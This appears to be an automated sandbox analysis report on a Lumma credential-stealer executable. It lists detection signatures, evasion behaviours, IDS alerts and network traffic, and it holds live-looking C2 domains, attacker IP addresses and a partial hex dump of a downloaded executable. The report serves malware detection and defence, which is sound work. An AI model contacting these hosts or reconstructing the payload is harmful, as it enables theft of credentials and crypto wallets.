Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557976
MD5:	0ddcd6763d9c2104f94916ad73e8e3dc
SHA1:	f8b8cc9c9e7ac5d74241a7ea87a5a8f22a1dc4a9
SHA256:	6416d9d75910685b7906b1c59a7d58686ab2a662db443a1aecb2057e66cfde6a
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6508 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0DDCD6763D9C2104F94916AD73E8E3DC)

chrome.exe (PID: 7116 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1972,i,17606009280702191283,8916399517189912732,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1932,i,6917140252110169909,6669424991198368365,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "p10tgrace.sbs", "p3ar11fter.sbs", "peepburry828.sbs", "processhol.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2229452164.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6508	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6508	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T20:21:10.502172+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	188.114.97.3	443	TCP
2024-11-18T20:21:12.321109+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-18T20:21:14.164007+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	188.114.97.3	443	TCP
2024-11-18T20:21:16.411261+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	188.114.97.3	443	TCP
2024-11-18T20:21:18.092684+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	188.114.97.3	443	TCP
2024-11-18T20:21:21.389166+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	188.114.97.3	443	TCP
2024-11-18T20:21:23.017232+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	188.114.97.3	443	TCP
2024-11-18T20:21:28.066806+0100	2028371	3	Unknown Traffic	192.168.2.5	49737	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T20:21:11.390786+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP
2024-11-18T20:21:12.855198+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-18T20:21:28.829648+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49737	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T20:21:11.390786+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T20:21:12.855198+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T20:21:29.782337+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49748	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T20:21:21.893978+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	188.114.97.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2395903374.0000000008550000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2487060341.00000000065F2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49737 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: processhol.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 19:21:29 GMTContent-Type: application/octet-streamContent-Length: 2800640Last-Modified: Mon, 18 Nov 2024 19:16:16 GMTConnection: keep-aliveETag: "673b9280-2abc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 7a 6b 6e 6a 76 73 76 00 60 2a 00 00 a0 00 00 00 5c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 72 79 62 77 70 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.246.67 13.107.246.67
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49748 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49873 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k4C8z3aWHGK76f7&MD=7kpCGLaN HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
